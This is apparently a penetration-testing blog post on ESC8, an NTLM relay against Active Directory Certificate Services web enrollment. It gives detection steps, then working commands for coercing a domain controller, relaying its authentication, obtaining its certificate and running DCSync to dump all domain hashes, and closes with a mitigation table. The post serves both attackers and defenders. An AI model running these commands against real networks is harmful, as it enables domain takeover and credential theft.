← home

esc8 - why the certificate authority signs for anyone who asks

· 8 min read
rick sanchez cruising space in a t-shirt reading became domain admin in 5 minutes

there’s a role in active directory certificate services called web enrollment. it puts a web page on the CA at http://ca/certsrv/ so a user with a browser can request a certificate without touching the mmc snap-in. it ships with the CA role, a lot of admins tick it during setup because the wizard offers it, and then nobody thinks about it again.

that page authenticates you with NTLM. over http. with no signing and no channel binding (this is the default state, not a misconfiguration; the four defaults behind it are two sections down, and the https case has its own section below). which means if you can make someone else’s machine send its NTLM authentication to you, you can forward it, unchanged, to that page and enroll a certificate in their name.

make the someone a domain controller, and the certificate you get back logs in as the domain controller.

this is ESC8, and it is in almost every AD CS deployment that has web enrollment turned on, which is most of them (why that’s the norm rather than a slip-up is the next section).

table of contents

open table of contents

what actually happens

NTLM has a structural problem the protocol never fixed: the authentication isn’t bound to the connection it travels over. a challenge-response handshake proves the client knows a password hash, but it says nothing about where the client meant to send it. so if you can get a victim to authenticate to you, you can play those exact messages forward to a third service and it will accept them as the victim.

that’s an NTLM relay, and it’s a decade-old technique. what makes it end in domain compromise here is the target you’re relaying to.

attacker domain controller AD CS web enrollment
──────── ───────────────── ────────────────────
│ │ │
│ 1. coerce (PetitPotam, │ │
│ PrinterBug, DFSCoerce) │ │
│ ───────────────────────────▶ │
│ │ │
│ 2. DC authenticates to me │ │
│ with its machine account│ │
│ ◀─────────────────────────── │
│ │ │
│ 3. relay that same NTLM auth, unchanged, to /certsrv/ │
│ ──────────────────────────────────────────────────────────────▶
│ │ │
│ 4. request a cert with the DomainController template │
│ ──────────────────────────────────────────────────────────────▶
│ │ │
│ 5. CA issues a cert for DC$ and hands it back │
│ ◀──────────────────────────────────────────────────────────────
│ │ │
│ 6. use the cert to auth as DC$ (PKINIT) → NT hash → DCSync │
▼ │ │
domain admin │ │

nothing on this path tied that authentication to the connection it arrived on, so nobody caught that the machine never meant to talk to the CA at all. the CA just sees a valid NTLM auth for DC$, and DC$ is allowed to enroll for a computer certificate, so it signs one. that missing check is the whole game, and it’s exactly what EPA restores further down. the certificate is real, issued by the enterprise root CA, trusted by every machine in the forest.

why it’s in almost every enterprise

there’s no bug in the code here. four defaults, each defensible on its own, combine into it.

the defaultwhy it’s therewhat it costs you
web enrollment is offered at CA setupadmins wanted a browser-based request page since windows 2003an http endpoint that speaks NTLM
the endpoint is http, not httpshttps needs a certificate and a binding nobody configured on day oneno TLS channel to bind the auth to
NTLM is enabledkerberos-only breaks legacy clients, so nobody turns NTLM offthe auth can be replayed
EPA (channel binding) is off by default on IISextended protection has to be switched on per sitenothing ties the auth to the connection

none of these looks wrong in a change ticket. “enable web enrollment so the helpdesk can issue certs” is a reasonable request. the person who approves it isn’t thinking about coercion primitives, and the wizard doesn’t warn them.

on top of that, coercing a machine into authenticating is close to free. a domain controller will happily authenticate to an arbitrary host if you ask it the right way, and there are at least four unauthenticated or low-priv ways to ask: PetitPotam (EFSRPC), the print spooler bug, DFSCoerce (MS-DFSNM), and ShadowCoerce (MS-FSRVP). patch one and the next still works.

finding it

you don’t exploit anything to find this. one authenticated query tells you whether the CA is enrollable this way.

certipy reads the CA configuration out of AD and flags the vulnerable ones:

Terminal window
certipy find -u user@corp.local -p 'Password1' -dc-ip 10.0.0.1 -vulnerable -stdout

the line you’re looking for in the output:

Web Enrollment : Enabled
...
[!] Vulnerabilities
ESC8 : Web Enrollment is enabled and the CA does not enforce EPA

Web Enrollment : Enabled on its own is the tell. the “does not enforce EPA” line is what turns it from a maybe into a finding. if you only have network access and no credentials yet, a plain request to the endpoint confirms the role is there:

Terminal window
curl -sik http://ca.corp.local/certsrv/certfnsh.asp | head -n 1
# HTTP/1.1 401 Unauthorized -> the endpoint exists and wants auth

a 401 with WWW-Authenticate: NTLM is the endpoint asking for exactly the auth you’re going to relay to it.

exploiting it

three moving parts: a relay listener pointed at the CA, a coercion to kick a DC into authenticating, and then the certificate you get back. certipy can do the whole thing itself now, but it’s worth seeing the pieces.

1. start the relay, aimed at the enrollment endpoint, asking for a DC certificate.

Terminal window
certipy relay -target 'http://ca.corp.local' -template DomainController

or with impacket if you want the older tooling:

Terminal window
ntlmrelayx.py -t http://ca.corp.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

the template matters. DomainController (or Machine) is a template a computer account is allowed to enroll in, and it grants client authentication, which is what you need to log back in with the cert.

2. coerce a domain controller into authenticating to your relay.

Terminal window
# EFSRPC, unauthenticated on unpatched hosts
petitpotam.py -d corp.local <attacker-ip> <dc-ip>
# or DFSCoerce, still works where petitpotam is patched
coercer coerce -u user -p 'Password1' -d corp.local -l <attacker-ip> -t <dc-ip>

the DC connects back to you as DC$, the relay forwards that auth to the CA, and the CA issues a certificate for DC$.

3. use the certificate to become the DC.

Terminal window
certipy auth -pfx dc.pfx -dc-ip 10.0.0.1

this does a PKINIT login with the certificate, hands you a TGT for DC$, and prints the machine account’s NT hash along the way. a domain controller’s machine account can run DCSync, so from here:

Terminal window
secretsdump.py -k -no-pass corp.local/'DC$'@dc.corp.local

that’s every hash in the domain, including krbtgt. one coercion, one relay, no cracking, no user interaction.

the https wrinkle

sometimes the endpoint is https://ca/certsrv/ instead of http://, and people assume that closes it. it doesn’t, on its own.

TLS gives you a channel, but the relay only breaks if that channel is bound to the authentication. that binding is EPA (extended protection for authentication), and on IIS it’s a separate setting from “use https”. a lot of admins put a certificate on the site to get the padlock and stop there, leaving EPA off. in that state the endpoint is https and still relayable. certipy will point straight at it:

Terminal window
certipy relay -target 'https://ca.corp.local' -template DomainController

so what each configuration actually means:

what you seeis it relayablewhy
http, NTLMyesno channel to bind to
https, EPA offyesthere’s a TLS channel, but the auth isn’t tied to it
https, EPA enforcednothe auth is bound to the TLS channel, the relayed copy doesn’t match
kerberos only, NTLM disablednonothing to replay

“we moved it to https” is not the fix people think it is. https without EPA buys you a padlock and nothing else. the fix is the channel binding, or removing NTLM, or removing the endpoint.

how to prevent it

in rough order of how completely each one kills the attack:

fixwhat it doescatch
remove the web enrollment role if unuseddeletes the endpoint entirelysomeone has to confirm nothing depends on it
enforce EPA on the certsrv IIS sitebinds the auth to the TLS channel, relay failsrequires https to be configured properly first
require https and disable http on the siteremoves the unbindable channelpair it with EPA, https alone is not enough
disable NTLM to the CA (kerberos only)nothing left to replaytest for legacy clients first
enable SMB and LDAP signing forest-widedefense in depth, blocks other relay targets toodoesn’t cover the http relay by itself
cut the coercion primitivespatch PetitPotam, disable the spooler on DCs, add RPC filtersthere’s always another coercion, treat this as slowing, not stopping

the two that end it cleanly are removing the role and enforcing EPA. everything else raises the cost. if you own AD CS and you only do one thing this quarter, turn on extended protection for the web enrollment site and confirm certipy stops flagging ESC8.

closing thoughts

ESC8 is a certificate authority behaving exactly as designed, in an environment where authentication can be borrowed. the CA was never told to distrust an auth that arrives without a bound channel, so it doesn’t.

find the endpoint, read whether EPA is enforced, and if it isn’t, that one line is your whole report.